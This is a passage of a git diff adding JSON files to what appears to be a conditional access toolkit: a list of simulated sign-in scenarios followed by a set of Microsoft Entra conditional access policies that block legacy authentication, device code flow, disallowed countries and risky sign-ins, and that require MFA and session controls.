"ApplicationDisplayName": "All", + "ClientApp": "other", + "TrustedIPAddress": true, + "SignInRiskLevel": "medium", + "UserRiskLevel": "high" + }, + { + "UserPrincipalName": "All", + "Country": "IT", + "Platform": "ios", + "ApplicationDisplayName": "Microsoft Admin Portals", + "ClientApp": "other", + "TrustedIPAddress": true, + "SignInRiskLevel": "low", + "UserRiskLevel": "low" + }, + { + "UserPrincipalName": "user@example.com", + "Country": "BE", + "Platform": "macOS", + "ApplicationDisplayName": "Office 365", + "ClientApp": "browser", + "TrustedIPAddress": true, + "SignInRiskLevel": "high", + "UserRiskLevel": "high" + }, + { + "UserPrincipalName": "GuestsOrExternalUsers", + "Country": "FR", + "Platform": "android", + "ApplicationDisplayName": "Office 365", + "ClientApp": "browser", + "TrustedIPAddress": false, + "SignInRiskLevel": "high", + "UserRiskLevel": "high" + }, + { + "UserPrincipalName": "user@example.com", + "Country": "RU", + "Platform": "windows", + "ApplicationDisplayName": "Office 365", + "ClientApp": "other", + "TrustedIPAddress": true, + "SignInRiskLevel": "medium", + "UserRiskLevel": "low" + }, + { + "UserPrincipalName": "user@example.com", + "Country": "ES", + "Platform": "macOS", + "ApplicationDisplayName": "Microsoft Admin Portals", + "ClientApp": "other", + "TrustedIPAddress": false, + "SignInRiskLevel": "high", + "UserRiskLevel": "medium" + }, + { + "UserPrincipalName": "user@example.com", + "Country": "CN", + "Platform": "windows", + "ApplicationDisplayName": "All", + "ClientApp": "mobileAppsAndDesktopClients", + "TrustedIPAddress": true, + "SignInRiskLevel": "low", + "UserRiskLevel": "high" + }, + { + "UserPrincipalName": "GuestsOrExternalUsers", + "Country": "RU", + "Platform": "macOS", + "ApplicationDisplayName": "All", + "ClientApp": "browser", + "TrustedIPAddress": true, + "SignInRiskLevel": "medium", + "UserRiskLevel": "high" + }, + { + "UserPrincipalName": "user@example.com", + "Country": "FR", + "Platform": "macOS", + "ApplicationDisplayName": "Office 365", + "ClientApp": "easSupported", + "TrustedIPAddress": true, + "SignInRiskLevel": "low", + "UserRiskLevel": "high" + }, + { + "UserPrincipalName": "All", + "Country": "IT", + "Platform": "ios", + "ApplicationDisplayName": "Microsoft Admin Portals", + "ClientApp": "mobileAppsAndDesktopClients", + "TrustedIPAddress": true, + "SignInRiskLevel": "low", + "UserRiskLevel": "high" + }, + { + "UserPrincipalName": "All", + "Country": "BE", + "Platform": "windows", + "ApplicationDisplayName": "Office 365", + "ClientApp": "mobileAppsAndDesktopClients", + "TrustedIPAddress": false, + "SignInRiskLevel": "low", + "UserRiskLevel": "high" + }, + { + "UserPrincipalName": "user@example.com", + "Country": "IR", + "Platform": "android", + "ApplicationDisplayName": "Office 365", + "ClientApp": "exchangeActiveSync", + "TrustedIPAddress": true, + "SignInRiskLevel": "medium", + "UserRiskLevel": "low" + }, + { + "UserPrincipalName": "user@example.com", + "Country": "ES", + "Platform": "windows", + "ApplicationDisplayName": "Office 365", + "ClientApp": "mobileAppsAndDesktopClients", + "TrustedIPAddress": false, + "SignInRiskLevel": "high", + "UserRiskLevel": "low" + }, + { + "UserPrincipalName": "user@example.com", + "Country": "IR", + "Platform": "macOS", + "ApplicationDisplayName": "Microsoft Admin Portals", + "ClientApp": "other", + "TrustedIPAddress": false, + "SignInRiskLevel": "high", + "UserRiskLevel": "medium" + }, + { + "UserPrincipalName": "GuestsOrExternalUsers", + "Country": "IT", + "Platform": "linux", + "ApplicationDisplayName": "Office 365", + "ClientApp": "easSupported", + "TrustedIPAddress": false, + "SignInRiskLevel": "high", + "UserRiskLevel": "high" + }, + { + "UserPrincipalName": "user@example.com", + "Country": "SE", + "Platform": "android", + "ApplicationDisplayName": "Microsoft Admin Portals", + "ClientApp": "other", + "TrustedIPAddress": false, + "SignInRiskLevel": "medium", + "UserRiskLevel": "medium" + }, + { + "UserPrincipalName": "All", + "Country": "SY", + "Platform": "linux", + "ApplicationDisplayName": "All", + "ClientApp": "browser", + "TrustedIPAddress": false, + "SignInRiskLevel": "low", + "UserRiskLevel": "low" + }, + { + "UserPrincipalName": "GuestsOrExternalUsers", + "Country": "CN", + "Platform": "ios", + "ApplicationDisplayName": "All", + "ClientApp": "mobileAppsAndDesktopClients", + "TrustedIPAddress": false, + "SignInRiskLevel": "low", + "UserRiskLevel": "low" + }, + { + "UserPrincipalName": "GuestsOrExternalUsers", + "Country": "DE", + "Platform": "android", + "ApplicationDisplayName": "Office 365", + "ClientApp": "mobileAppsAndDesktopClients", + "TrustedIPAddress": true, + "SignInRiskLevel": "high", + "UserRiskLevel": "medium" + }, + { + "UserPrincipalName": "GuestsOrExternalUsers", + "Country": "IR", + "Platform": "android", + "ApplicationDisplayName": "Microsoft Admin Portals", + "ClientApp": "exchangeActiveSync", + "TrustedIPAddress": false, + "SignInRiskLevel": "medium", + "UserRiskLevel": "medium" + }, + { + "UserPrincipalName": "All", + "Country": "CN", + "Platform": "android", + "ApplicationDisplayName": "Office 365", + "ClientApp": "other", + "TrustedIPAddress": false, + "SignInRiskLevel": "medium", + "UserRiskLevel": "low" + }, + { + "UserPrincipalName": "All", + "Country": "CN", + "Platform": "windows", + "ApplicationDisplayName": "Microsoft Admin Portals", + "ClientApp": "easSupported", + "TrustedIPAddress": true, + "SignInRiskLevel": "medium", + "UserRiskLevel": "high" + }, + { + "UserPrincipalName": "user@example.com", + "Country": "ES", + "Platform": "ios", + "ApplicationDisplayName": "Office 365", + "ClientApp": "other", + "TrustedIPAddress": true, + "SignInRiskLevel": "low", + "UserRiskLevel": "medium" + }, + { + "UserPrincipalName": "GuestsOrExternalUsers", + "Country": "FR", + "Platform": "windows", + "ApplicationDisplayName": "Microsoft Admin Portals", + "ClientApp": "exchangeActiveSync", + "TrustedIPAddress": false, + "SignInRiskLevel": "high", + "UserRiskLevel": "medium" + }, + { + "UserPrincipalName": "GuestsOrExternalUsers", + "Country": "CN", + "Platform": "macOS", + "ApplicationDisplayName": "All", + "ClientApp": "browser", + "TrustedIPAddress": true, + "SignInRiskLevel": "high", + "UserRiskLevel": "high" + }, + { + "UserPrincipalName": "user@example.com", + "Country": "SE", + "Platform": "ios", + "ApplicationDisplayName": "Microsoft Admin Portals", + "ClientApp": "other", + "TrustedIPAddress": false, + "SignInRiskLevel": "high", + "UserRiskLevel": "medium" + }, + { + "UserPrincipalName": "All", + "Country": "BE", + "Platform": "linux", + "ApplicationDisplayName": "All", + "ClientApp": "browser", + "TrustedIPAddress": true, + "SignInRiskLevel": "high", + "UserRiskLevel": "low" + }, + { + "UserPrincipalName": "All", + "Country": "CN", + "Platform": "linux", + "ApplicationDisplayName": "All", + "ClientApp": "mobileAppsAndDesktopClients", + "TrustedIPAddress": true, + "SignInRiskLevel": "high", + "UserRiskLevel": "medium" + }, + { + "UserPrincipalName": "user@example.com", + "Country": "IT", + "Platform": "linux", + "ApplicationDisplayName": "Office 365", + "ClientApp": "easSupported", + "TrustedIPAddress": true, + "SignInRiskLevel": "low", + "UserRiskLevel": "high" + }, + { + "UserPrincipalName": "GuestsOrExternalUsers", + "Country": "BE", + "Platform": "ios", + "ApplicationDisplayName": "All", + "ClientApp": "browser", + "TrustedIPAddress": true, + "SignInRiskLevel": "medium", + "UserRiskLevel": "low" + }, + { + "UserPrincipalName": "All", + "Country": "IR", + "Platform": "android", + "ApplicationDisplayName": "Office 365", + "ClientApp": "browser", + "TrustedIPAddress": true, + "SignInRiskLevel": "medium", + "UserRiskLevel": "medium" + }, + { + "UserPrincipalName": "GuestsOrExternalUsers", + "Country": "BE", + "Platform": "android", + "ApplicationDisplayName": "All", + "ClientApp": "exchangeActiveSync", + "TrustedIPAddress": true, + "SignInRiskLevel": "medium", + "UserRiskLevel": "medium" + }, + { + "UserPrincipalName": "All", + "Country": "SE", + "Platform": "windows", + "ApplicationDisplayName": "Microsoft Admin Portals", + "ClientApp": "other", + "TrustedIPAddress": true, + "SignInRiskLevel": "low", + "UserRiskLevel": "low" + }, + { + "UserPrincipalName": "GuestsOrExternalUsers", + "Country": "SY", + "Platform": "linux", + "ApplicationDisplayName": "All", + "ClientApp": "mobileAppsAndDesktopClients", + "TrustedIPAddress": true, + "SignInRiskLevel": "high", + "UserRiskLevel": "high" + }, + { + "UserPrincipalName": "user@example.com", + "Country": "FR", + "Platform": "ios", + "ApplicationDisplayName": "Office 365", + "ClientApp": "exchangeActiveSync", + "TrustedIPAddress": true, + "SignInRiskLevel": "medium", + "UserRiskLevel": "low" + }, + { + "UserPrincipalName": "All", + "Country": "FR", + "Platform": "macOS", + "ApplicationDisplayName": "Microsoft Admin Portals", + "ClientApp": "easSupported", + "TrustedIPAddress": false, + "SignInRiskLevel": "high", + "UserRiskLevel": "high" + }, + { + "UserPrincipalName": "All", + "Country": "KP", + "Platform": "ios", + "ApplicationDisplayName": "Microsoft Admin Portals", + "ClientApp": "other", + "TrustedIPAddress": true, + "SignInRiskLevel": "high", + "UserRiskLevel": "high" + }, + { + "UserPrincipalName": "GuestsOrExternalUsers", + "Country": "KP", + "Platform": "android", + "ApplicationDisplayName": "Microsoft Admin Portals", + "ClientApp": "exchangeActiveSync", + "TrustedIPAddress": true, + "SignInRiskLevel": "medium", + "UserRiskLevel": "medium" + } +] \ No newline at end of file diff --git a/CSTijgers/DCToolbox-main/conditional-access-design-version-14.json b/CSTijgers/DCToolbox-main/conditional-access-design-version-14.json new file mode 100644 index 0000000..49e01e2 --- /dev/null +++ b/CSTijgers/DCToolbox-main/conditional-access-design-version-14.json @@ -0,0 +1,1186 @@ +[ + { + "sessionControls": null, + "conditions": { + "platforms": null, + "userRiskLevels": [], + "clientApplications": null, + "times": null, + "deviceStates": null, + "users": { + "includeGuestsOrExternalUsers": null, + "includeGroups": [], + "excludeGuestsOrExternalUsers": null, + "includeUsers": [ + "All" + ], + "excludeUsers": [], + "excludeGroups": [ + "REPLACE WITH EXCLUDE GROUP ID" + ], + "excludeRoles": [], + "includeRoles": [] + }, + "devices": null, + "locations": null, + "clientAppTypes": [ + "exchangeActiveSync", + "other" + ], + "applications": { + "applicationFilter": null, + "excludeApplications": [], + "includeUserActions": [], + "includeApplications": [ + "All" + ], + "includeAuthenticationContextClassReferences": [] + }, + "signInRiskLevels": [] + }, + "displayName": "GLOBAL - 101 - BLOCK - Legacy Authentication", + "state": "enabled", + "templateId": null, + "grantControls": { + "operator": "OR", + "builtInControls": [ + "block" + ], + "customAuthenticationFactors": [], + "termsOfUse": [], + "authenticationStrength": null + } + }, + { + "sessionControls": null, + "conditions": { + "platforms": null, + "userRiskLevels": [], + "clientApplications": null, + "times": null, + "deviceStates": null, + "users": { + "includeGuestsOrExternalUsers": null, + "includeGroups": [], + "excludeGuestsOrExternalUsers": null, + "includeUsers": [ + "All" + ], + "excludeUsers": [], + "excludeGroups": [ + "REPLACE WITH EXCLUDE GROUP ID" + ], + "excludeRoles": [], + "includeRoles": [] + }, + "devices": null, + "locations": null, + "authenticationFlows": { + "transferMethods": "deviceCodeFlow,authenticationTransfer" + }, + "clientAppTypes": [ + "all" + ], + "applications": { + "applicationFilter": null, + "excludeApplications": [], + "includeUserActions": [], + "includeApplications": [ + "All" + ], + "includeAuthenticationContextClassReferences": [] + }, + "signInRiskLevels": [] + }, + "displayName": "GLOBAL - 102 - BLOCK - Device Code Auth Flow", + "state": "enabled", + "templateId": null, + "grantControls": { + "operator": "OR", + "builtInControls": [ + "block" + ], + "customAuthenticationFactors": [], + "termsOfUse": [], + "authenticationStrength": null + } + }, + { + "sessionControls": null, + "conditions": { + "platforms": { + "includePlatforms": [ + "all" + ], + "excludePlatforms": [ + "android", + "iOS", + "windows", + "macOS" + ] + }, + "userRiskLevels": [], + "clientApplications": null, + "times": null, + "deviceStates": null, + "users": { + "includeGuestsOrExternalUsers": null, + "includeGroups": [], + "excludeGuestsOrExternalUsers": null, + "includeUsers": [ + "All" + ], + "excludeUsers": [], + "excludeGroups": [ + "REPLACE WITH EXCLUDE GROUP ID" + ], + "excludeRoles": [], + "includeRoles": [] + }, + "devices": null, + "locations": null, + "clientAppTypes": [ + "all" + ], + "applications": { + "applicationFilter": null, + "excludeApplications": [], + "includeUserActions": [], + "includeApplications": [ + "All" + ], + "includeAuthenticationContextClassReferences": [] + }, + "signInRiskLevels": [] + }, + "displayName": "GLOBAL - 103 - BLOCK - Unsupported Device Platforms", + "state": "enabled", + "templateId": null, + "grantControls": { + "operator": "OR", + "builtInControls": [ + "block" + ], + "customAuthenticationFactors": [], + "termsOfUse": [], + "authenticationStrength": null + } + }, + { + "sessionControls": null, + "conditions": { + "platforms": null, + "userRiskLevels": [], + "clientApplications": null, + "times": null, + "locations": { + "excludeLocations": [ + "REPLACE WITH ALLOWED COUNTRIES NAMED LOCATION ID" + ], + "includeLocations": [ + "All" + ] + }, + "deviceStates": null, + "users": { + "includeGuestsOrExternalUsers": null, + "includeGroups": [], + "excludeGuestsOrExternalUsers": null, + "includeUsers": [ + "All" + ], + "excludeUsers": [], + "excludeGroups": [ + "REPLACE WITH EXCLUDE GROUP ID" + ], + "excludeRoles": [], + "includeRoles": [] + }, + "devices": null, + "clientAppTypes": [ + "all" + ], + "applications": { + "applicationFilter": null, + "excludeApplications": [], + "includeUserActions": [], + "includeApplications": [ + "All" + ], + "includeAuthenticationContextClassReferences": [] + }, + "signInRiskLevels": [] + }, + "displayName": "GLOBAL - 104 - BLOCK - Countries not Allowed", + "state": "enabled", + "templateId": null, + "grantControls": { + "operator": "OR", + "builtInControls": [ + "block" + ], + "customAuthenticationFactors": [], + "termsOfUse": [], + "authenticationStrength": null + } + }, + { + "sessionControls": null, + "conditions": { + "platforms": null, + "userRiskLevels": [], + "clientApplications": null, + "times": null, + "locations": { + "excludeLocations": [ + "REPLACE WITH SERVICE ACCOUNT TRUSTED NAMED LOCATION ID" + ], + "includeLocations": [ + "All" + ] + }, + "deviceStates": null, + "users": { + "includeGuestsOrExternalUsers": null, + "includeGroups": [ + "REPLACE WITH SERVICE ACCOUNT GROUP ID" + ], + "excludeGuestsOrExternalUsers": null, + "includeUsers": [], + "excludeUsers": [], + "excludeGroups": [ + "REPLACE WITH EXCLUDE GROUP ID" + ], + "excludeRoles": [], + "includeRoles": [] + }, + "devices": null, + "clientAppTypes": [ + "all" + ], + "applications": { + "applicationFilter": null, + "excludeApplications": [], + "includeUserActions": [], + "includeApplications": [ + "All" + ], + "includeAuthenticationContextClassReferences": [] + }, + "signInRiskLevels": [] + }, + "displayName": "GLOBAL - 105 - BLOCK - Service Accounts (Trusted Locations Excluded)", + "state": "enabled", + "templateId": null, + "grantControls": { + "operator": "OR", + "builtInControls": [ + "block" + ], + "customAuthenticationFactors": [], + "termsOfUse": [], + "authenticationStrength": null + } + }, + { + "sessionControls": null, + "conditions": { + "platforms": null, + "userRiskLevels": [], + "clientApplications": null, + "times": null, + "deviceStates": null, + "users": { + "includeGuestsOrExternalUsers": null, + "includeGroups": [], + "excludeGuestsOrExternalUsers": null, + "includeUsers": [ + "All" + ], + "excludeUsers": [], + "excludeGroups": [ + "REPLACE WITH EXCLUDE GROUP ID" + ], + "excludeRoles": [], + "includeRoles": [] + }, + "devices": null, + "locations": null, + "clientAppTypes": [ + "all" + ], + "applications": { + "applicationFilter": null, + "excludeApplications": [], + "includeUserActions": [], + "includeApplications": [ + "None" + ], + "includeAuthenticationContextClassReferences": [] + }, + "signInRiskLevels": [] + }, + "displayName": "GLOBAL - 106 - BLOCK - Explicitly Blocked Cloud Apps", + "state": "enabled", + "templateId": null, + "grantControls": { + "operator": "OR", + "builtInControls": [ + "block" + ], + "customAuthenticationFactors": [], + "termsOfUse": [], + "authenticationStrength": null + } + }, + { + "sessionControls": null, + "conditions": { + "platforms": null, + "userRiskLevels": [], + "clientApplications": null, + "times": null, + "deviceStates": null, + "users": { + "includeGuestsOrExternalUsers": { + "externalTenants": { + "membershipKind": "all", + "@odata.type": "#microsoft.graph.conditionalAccessAllExternalTenants" + }, + "guestOrExternalUserTypes": "internalGuest,b2bCollaborationGuest,b2bCollaborationMember,b2bDirectConnectUser,otherExternalUser,serviceProvider" + }, + "includeGroups": [], + "excludeGuestsOrExternalUsers": null, + "includeUsers": [], + "excludeUsers": [], + "excludeGroups": [ + "REPLACE WITH EXCLUDE GROUP ID" + ], + "excludeRoles": [], + "includeRoles": [] + }, + "devices": null, + "locations": null, + "clientAppTypes": [ + "all" + ], + "applications": { + "applicationFilter": null, + "excludeApplications": [], + "includeUserActions": [], + "includeApplications": [ + "MicrosoftAdminPortals", + "797f4846-ba00-4fd7-ba43-dac1f8f63013" + ], + "includeAuthenticationContextClassReferences": [] + }, + "signInRiskLevels": [] + }, + "displayName": "GLOBAL - 107 - BLOCK - Guest Access to Sensitive Apps", + "state": "enabled", + "templateId": null, + "grantControls": { + "operator": "OR", + "builtInControls": [ + "block" + ], + "customAuthenticationFactors": [], + "termsOfUse": [], + "authenticationStrength": null + } + }, + { + "sessionControls": null, + "conditions": { + "platforms": null, + "userRiskLevels": [], + "clientApplications": null, + "times": null, + "deviceStates": null, + "users": { + "includeGuestsOrExternalUsers": null, + "includeGroups": [], + "excludeGuestsOrExternalUsers": null, + "includeUsers": [ + "All" + ], + "excludeUsers": [], + "excludeGroups": [ + "REPLACE WITH EXCLUDE GROUP ID" + ], + "excludeRoles": [], + "includeRoles": [] + }, + "devices": null, + "locations": null, + "clientAppTypes": [ + "all" + ], + "applications": { + "applicationFilter": null, + "excludeApplications": [], + "includeUserActions": [], + "includeApplications": [ + "All" + ], + "includeAuthenticationContextClassReferences": [] + }, + "signInRiskLevels": [ + "high" + ] + }, + "displayName": "GLOBAL - 108 - BLOCK - High-Risk Sign-Ins", + "state": "enabled", + "templateId": null, + "grantControls": { + "operator": "OR", + "builtInControls": [ + "block" + ], + "customAuthenticationFactors": [], + "termsOfUse": [], + "authenticationStrength": null + } + }, + { + "sessionControls": null, + "conditions": { + "platforms": null, + "userRiskLevels": [ + "high" + ], + "clientApplications": null, + "times": null, + "deviceStates": null, + "users": { + "includeGuestsOrExternalUsers": null, + "includeGroups": [], + "excludeGuestsOrExternalUsers": null, + "includeUsers": [ + "All" + ], + "excludeUsers": [], + "excludeGroups": [ + "REPLACE WITH EXCLUDE GROUP ID" + ], + "excludeRoles": [], + "includeRoles": [] + }, + "devices": null, + "locations": null, + "clientAppTypes": [ + "all" + ], + "applications": { + "applicationFilter": null, + "excludeApplications": [], + "includeUserActions": [], + "includeApplications": [ + "All" + ], + "includeAuthenticationContextClassReferences": [] + }, + "signInRiskLevels": [] + }, + "displayName": "GLOBAL - 109 - BLOCK - High-Risk Users", + "state": "enabled", + "templateId": null, + "grantControls": { + "operator": "OR", + "builtInControls": [ + "block" + ], + "customAuthenticationFactors": [], + "termsOfUse": [], + "authenticationStrength": null + } + }, + { + "sessionControls": null, + "conditions": { + "platforms": null, + "userRiskLevels": [], + "clientApplications": null, + "times": null, + "deviceStates": null, + "users": { + "includeGuestsOrExternalUsers": null, + "includeGroups": [], + "excludeGuestsOrExternalUsers": null, + "includeUsers": [ + "All" + ], + "excludeUsers": [], + "excludeGroups": [ + "REPLACE WITH EXCLUDE GROUP ID" + ], + "excludeRoles": [], + "includeRoles": [] + }, + "devices": null, + "locations": null, + "clientAppTypes": [ + "all" + ], + "applications": { + "applicationFilter": null, + "excludeApplications": [], + "includeUserActions": [], + "includeApplications": [ + "All" + ], + "includeAuthenticationContextClassReferences": [] + }, + "signInRiskLevels": [ + "medium" + ] + }, + "displayName": "GLOBAL - 201 - GRANT - Medium-Risk Sign-ins", + "state": "enabled", + "templateId": null, + "grantControls": { + "operator": "OR", + "builtInControls": [], + "customAuthenticationFactors": [], + "termsOfUse": [], + "authenticationStrength": { + "id": "00000000-0000-0000-0000-000000000002" + } + } + }, + { + "sessionControls": null, + "conditions": { + "platforms": null, + "userRiskLevels": [ + "medium" + ], + "clientApplications": null, + "times": null, + "deviceStates": null, + "users": { + "includeGuestsOrExternalUsers": null, + "includeGroups": [], + "excludeGuestsOrExternalUsers": null, + "includeUsers": [ + "All" + ], + "excludeUsers": [], + "excludeGroups": [ + "REPLACE WITH EXCLUDE GROUP ID" + ], + "excludeRoles": [], + "includeRoles": [] + }, + "devices": null, + "locations": null, + "clientAppTypes": [ + "all" + ], + "applications": { + "applicationFilter": null, + "excludeApplications": [], + "includeUserActions": [], + "includeApplications": [ + "All" + ], + "includeAuthenticationContextClassReferences": [] + }, + "signInRiskLevels": [] + }, + "displayName": "GLOBAL - 202 - GRANT - Medium-Risk Users", + "state": "enabled", + "templateId": null, + "grantControls": { + "operator": "OR", + "builtInControls": [], + "customAuthenticationFactors": [], + "termsOfUse": [], + "authenticationStrength": { + "id": "00000000-0000-0000-0000-000000000002" + } + } + }, + { + "sessionControls": null, + "conditions": { + "platforms": null, + "userRiskLevels": [], + "clientApplications": null, + "times": null, + "deviceStates": null, + "users": { + "includeGuestsOrExternalUsers": null, + "includeGroups": [], + "excludeGuestsOrExternalUsers": null, + "includeUsers": [ + "All" + ], + "excludeUsers": [], + "excludeGroups": [ + "REPLACE WITH EXCLUDE GROUP ID" + ], + "excludeRoles": [], + "includeRoles": [] + }, + "devices": null, + "locations": null, + "clientAppTypes": [ + "all" + ], + "applications": { + "applicationFilter": null, + "excludeApplications": [], + "includeUserActions": [ + "urn:user:registerdevice" + ], + "includeApplications": [], + "includeAuthenticationContextClassReferences": [] + }, + "signInRiskLevels": [] + }, + "displayName": "GLOBAL - 203 - GRANT - Device Registration", + "state": "enabled", + "templateId": null, + "grantControls": { + "operator": "OR", + "builtInControls": [], + "customAuthenticationFactors": [], + "termsOfUse": [], + "authenticationStrength": { + "id": "00000000-0000-0000-0000-000000000002" + } + } + }, + { + "sessionControls": null, + "conditions": { + "platforms": null, + "userRiskLevels": [], + "clientApplications": null, + "times": null, + "deviceStates": null, + "users": { + "includeGuestsOrExternalUsers": null, + "includeGroups": [], + "excludeGuestsOrExternalUsers": null, + "includeUsers": [ + "All" + ], + "excludeUsers": [], + "excludeGroups": [ + "REPLACE WITH EXCLUDE GROUP ID", + "REPLACE WITH SERVICE ACCOUNT GROUP ID" + ], + "excludeRoles": [ + "d29b2b05-8046-44ba-8758-1e26182fcf32" + ], + "includeRoles": [] + }, + "devices": null, + "locations": null, + "clientAppTypes": [ + "all" + ], + "applications": { + "applicationFilter": null, + "excludeApplications": [], + "includeUserActions": [], + "includeApplications": [ + "All" + ], + "includeAuthenticationContextClassReferences": [] + }, + "signInRiskLevels": [] + }, + "displayName": "GLOBAL - 204 - GRANT - Terms of Use", + "state": "enabled", + "templateId": null, + "grantControls": { + "operator": "OR", + "builtInControls": [], + "customAuthenticationFactors": [], + "termsOfUse": [ + "30dc641e-326e-4574-b788-8cd2ae54316f" + ], + "authenticationStrength": null + } + }, + { + "sessionControls": null, + "conditions": { + "platforms": null, + "userRiskLevels": [], + "clientApplications": null, + "times": null, + "deviceStates": null, + "users": { + "includeGuestsOrExternalUsers": null, + "includeGroups": [], + "excludeGuestsOrExternalUsers": null, + "includeUsers": [ + "All" + ], + "excludeUsers": [], + "excludeGroups": [ + "REPLACE WITH EXCLUDE GROUP ID", + "REPLACE WITH SERVICE ACCOUNT GROUP ID" + ], + "excludeRoles": [ + "d29b2b05-8046-44ba-8758-1e26182fcf32" + ], + "includeRoles": [] + }, + "devices": null, + "locations": null, + "clientAppTypes": [ + "all" + ], + "applications": { + "applicationFilter": null, + "excludeApplications": [ + "0000000a-0000-0000-c000-000000000000" + ], + "includeUserActions": [], + "includeApplications": [ + "All" + ], + "includeAuthenticationContextClassReferences": [] + }, + "signInRiskLevels": [] + }, + "displayName": "GLOBAL - 205 - GRANT - MFA for All Users", + "state": "enabled", + "templateId": null, + "grantControls": { + "operator": "OR", + "builtInControls": [], + "customAuthenticationFactors": [], + "termsOfUse": [], + "authenticationStrength": { + "id": "00000000-0000-0000-0000-000000000002" + } + } + }, + { + "sessionControls": null, + "conditions": { + "platforms": null, + "userRiskLevels": [], + "clientApplications": null, + "times": null, + "deviceStates": null, + "users": { + "includeGuestsOrExternalUsers": null, + "includeGroups": [], + "excludeGuestsOrExternalUsers": null, + "includeUsers": [ + "All" + ], + "excludeUsers": [], + "excludeGroups": [ + "REPLACE WITH EXCLUDE GROUP ID", + "REPLACE WITH SERVICE ACCOUNT GROUP ID" + ], + "excludeRoles": [ + "d29b2b05-8046-44ba-8758-1e26182fcf32" + ], + "includeRoles": [] + }, + "devices": null, + "locations": null, + "clientAppTypes": [ + "mobileAppsAndDesktopClients" + ], + "applications": { + "applicationFilter": null, + "excludeApplications": [], + "includeUserActions": [], + "includeApplications": [ + "All" + ], + "includeAuthenticationContextClassReferences": [] + }, + "signInRiskLevels": [] + }, + "displayName": "GLOBAL - 206 - GRANT - Mobile Apps and Desktop Clients", + "state": "disabled", + "templateId": null, + "grantControls": { + "operator": "OR", + "builtInControls": [ + "compliantDevice" + ], + "customAuthenticationFactors": [], + "termsOfUse": [], + "authenticationStrength": null + } + }, + { + "sessionControls": null, + "conditions": { + "platforms": { + "includePlatforms": [ + "android", + "iOS" + ], + "excludePlatforms": [] + }, + "userRiskLevels": [], + "clientApplications": null, + "times": null, + "deviceStates": null, + "users": { + "includeGuestsOrExternalUsers": null, + "includeGroups": [], + "excludeGuestsOrExternalUsers": null, + "includeUsers": [ + "All" + ], + "excludeUsers": [], + "excludeGroups": [ + "REPLACE WITH EXCLUDE GROUP ID", + "REPLACE WITH SERVICE ACCOUNT GROUP ID" + ], + "excludeRoles": [], + "includeRoles": [] + }, + "devices": null, + "locations": null, + "clientAppTypes": [ + "mobileAppsAndDesktopClients" + ], + "applications": { + "applicationFilter": null, + "excludeApplications": [ + "0000000a-0000-0000-c000-000000000000" + ], + "includeUserActions": [], + "includeApplications": [ + "All" + ], + "includeAuthenticationContextClassReferences": [] + }, + "signInRiskLevels": [] + }, + "displayName": "GLOBAL - 207 - GRANT - Mobile Device Access Requirements", + "state": "enabled", + "templateId": null, + "grantControls": { + "operator": "OR", + "builtInControls": [ + "compliantApplication" + ], + "customAuthenticationFactors": [], + "termsOfUse": [], + "authenticationStrength": null + } + }, + { + "sessionControls": { + "signInFrequency": { + "frequencyInterval": "timeBased", + "type": "hours", + "value": 9, + "isEnabled": true, + "authenticationType": "primaryAndSecondaryAuthentication" + }, + "cloudAppSecurity": null, + "secureSignInSession": null, + "disableResilienceDefaults": null, + "applicationEnforcedRestrictions": null, + "persistentBrowser": { + "mode": "never", + "isEnabled": true + }, + "continuousAccessEvaluation": null + }, + "conditions": { + "platforms": null, + "userRiskLevels": [], + "clientApplications": null, + "times": null, + "deviceStates": null, + "users": { + "includeGuestsOrExternalUsers": null, + "includeGroups": [], + "excludeGuestsOrExternalUsers": null, + "includeUsers": [], + "excludeUsers": [], + "excludeGroups": [ + "REPLACE WITH EXCLUDE GROUP ID" + ], + "excludeRoles": [], + "includeRoles": [ + "9b895d92-2cd3-44c7-9d02-a6ac2d5ea5c3", + "0526716b-113d-4c15-b2c8-68e3c22b9f80", + "158c047a-c907-4556-b7ef-446551a6b5f7", + "17315797-102d-40b4-93e0-432062caca18", + "e6d1a23a-da11-4be4-9570-befc86d067a7", + "b1be1c3e-b65d-4f19-8427-f6fa0d97feb9", + "62e90394-69f5-4237-9190-012177145e10", + "8ac3fc64-6eca-42ea-9e69-59f4c7b60eb2", + "7be44c8a-adaf-4e2a-84d6-ab2649e08a13", + "e8611ab8-c189-46e8-94e1-60213ab1f814", + "194ae4cb-b126-40b2-bd5b-6091b380977d" + ] + }, + "devices": null, + "locations": null, + "clientAppTypes": [ + "all" + ], + "applications": { + "applicationFilter": null, + "excludeApplications": [], + "includeUserActions": [], + "includeApplications": [ + "All" + ], + "includeAuthenticationContextClassReferences": [] + }, + "signInRiskLevels": [] + }, + "displayName": "GLOBAL - 301 - SESSION - Admin Persistence", + "state": "enabled", + "templateId": null, + "grantControls": null + }, + { + "sessionControls": { + "signInFrequency": { + "frequencyInterval": "timeBased", + "type": "hours", + "value": 9, + "isEnabled": true, + "authenticationType": "primaryAndSecondaryAuthentication" + }, + "cloudAppSecurity": null, + "secureSignInSession": null, + "disableResilienceDefaults": null, + "applicationEnforcedRestrictions": null, + "persistentBrowser": { + "mode": "never", + "isEnabled": true + }, + "continuousAccessEvaluation": null + }, + "conditions": { + "platforms": null, + "userRiskLevels": [], + "clientApplications": null, + "times": null, + "deviceStates": null, + "users": { + "includeGuestsOrExternalUsers": null, + "includeGroups": [], + "excludeGuestsOrExternalUsers": null, + "includeUsers": [ + "All" + ], + "excludeUsers": [], + "excludeGroups": [ + "REPLACE WITH EXCLUDE GROUP ID" + ], + "excludeRoles": [], + "includeRoles": [] + }, + "devices": { + "excludeDevices": [], + "excludeDeviceStates": [], + "includeDevices": [], + "includeDeviceStates": [], + "deviceFilter": { + "mode": "exclude", + "rule": "device.isCompliant -eq True" + } + }, + "locations": null, + "clientAppTypes": [ + "all" + ], + "applications": { + "applicationFilter": null, + "excludeApplications": [], + "includeUserActions": [], + "includeApplications": [ + "All" + ], + "includeAuthenticationContextClassReferences": [] + }, + "signInRiskLevels": [] + }, + "displayName": "GLOBAL - 302 - SESSION - BYOD Persistence", + "state": "enabled", + "templateId": null, + "grantControls": null + }, + { + "sessionControls": { + "signInFrequency": { + "frequencyInterval": "everyTime", + "type": null, + "value": null, + "isEnabled": true, + "authenticationType": "primaryAndSecondaryAuthentication" + }, + "cloudAppSecurity": null, + "secureSignInSession": null, + "disableResilienceDefaults": null, + "applicationEnforcedRestrictions": null, + "persistentBrowser": null, + "continuousAccessEvaluation": null + }, + "conditions": { + "platforms": null, + "userRiskLevels": [], + "clientApplications": null, + "times": null, + "deviceStates": null, + "users": { + "includeGuestsOrExternalUsers": null, + "includeGroups": [], + "excludeGuestsOrExternalUsers": null, + "includeUsers": [ + "All" + ], + 